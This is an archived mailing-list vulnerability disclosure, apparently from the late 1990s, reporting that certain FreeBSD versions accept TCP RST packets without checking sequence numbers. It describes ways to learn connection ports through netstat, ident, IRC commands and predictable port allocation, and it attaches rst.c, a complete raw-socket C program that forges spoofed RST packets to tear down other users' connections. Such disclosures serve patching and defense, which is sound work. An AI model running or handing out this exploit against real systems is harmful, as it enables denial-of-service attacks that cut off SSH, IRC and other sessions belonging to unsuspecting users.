--ZRyEpB+iJ+qUx0kp Content-Type: multipart/mixed; boundary=qGV0fN9tzfkG3CxV --qGV0fN9tzfkG3CxV Content-Type: text/plain; charset=us-ascii RFC 793, pages 36-39 (chapter 3.5) describes closing connections with TCP. Page 37 is of particular interest: Reset Processing In all states except SYN-SENT, all reset (RST) segments are validated by checking their SEQ-fields. A reset is valid if its sequence number is in the window. In the SYN-SENT state (a RST received in response to an initial SYN), the RST is acceptable if the ACK field acknowledges the SYN. Unfortunately, FreeBSD (2.2.5, 2.2.6, 2.2.7, 3.0) does not appear to validate RST segments to this extent. In other words, only the packets' IP/port pairs are checked. In my limited testing (oddly enough, not many people would consent to DoS), Solaris, OSF/1, Linux and Windows 98 appear to conform to RFC 793 in this regard. I have not yet been able to check NetBSD, OpenBSD, BSDI, etc. This problem gets worse when you bring it to multi-user FreeBSD boxes where netstat, systat -net, lsof (if improperly configured) and the like can be used to get all IP/port pairs in use. I suggest (especially to BEST) that these be chmod g-s or o-x'd until the problem is resolved. In cases where you only have the port number for one side of the connection, exploiting the vulnerability is still fairly trivial. In many (most?) cases, port 0 bind()s will start you off at port 1024 and increment by one from there. Kudos to the OSes that already use random or pseudorandom source ports... If the target is an IRC server or uses TCP wrappers, chances are that you can telnet to it and you'll get a connection back to your ident port. This will give you the high port. IRC in particular will probably be affected, due to the ease of getting addresses and such. /stats L even used to give you the port numbers for users, servers and listening sockets, but I believe this was fixed in /hybrid a while back, and then +CS. /stats c should just be disabled for non-opers since it lets people find the port # for autoconnects. SSH and similar secure sessions are in great danger because ports are manually bound to, starting at 1023 and decrementing from there. BSD exploit code is attached (thanks to those who made land and ported it!). Note that 'dstaddr' is where the RST packet is actually sent, so it must be the address of a buggy machine. This (like /many/ other attacks) would be much less of a concern if more people did ingress filtering. TS4 rocks! Tris --qGV0fN9tzfkG3CxV Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="rst.c" /* rst.c -- based on: land.c by m3lt, FLC crashes a win95 box Ported by blast and jerm to 44BSD*/ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <ctype.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <errno.h> /* #include <netinet/ip_tcp.h> */ /* #include <netinet/protocols.h> */ struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in src, dst; struct hostent * hoste; int sock,foo; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n"); if(argc<5) { fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]); return(-1); } bzero(&src,sizeof(struct sockaddr_in)); bzero(&dst,sizeof(struct sockaddr_in)); src.sin_family=AF_INET; dst.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length); else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((src.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((hoste=gethostbyname(argv[3]))!=NULL) bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length); else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown host %s\n",argv[3]); return(-1); } if((dst.sin_port=htons(atoi(argv[4])))==0) { fprintf(stderr,"unknown port %s\n",argv[4]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } foo=1; if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(0xF1C); ipheader->ip_ttl=255; ipheader->ip_p=IPPROTO_TCP; ipheader->ip_src=src.sin_addr; ipheader->ip_dst=dst.sin_addr; tcpheader->th_sport=src.sin_port; tcpheader->th_dport=dst.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_RST; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr=src.sin_addr; pseudoheader.daddr=dst.sin_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]); close(sock); return(0); } --qGV0fN9tzfkG3CxV-- --ZRyEpB+iJ+qUx0kp Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 MessageID: ZLVZYONH0cJKtNYnqRZ1+/WhbS1ONqPP iQA/AwUBNenslZ+W2A/YGO/2EQI2tACfdG/9Vm5lxFiQc5yC88/qoM5+2doAnibt LafqKvwK7rB+Xw7H2QlXWsJn =Mll3 -----END PGP SIGNATURE----- --ZRyEpB+iJ+qUx0kp--
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:14:07 PDT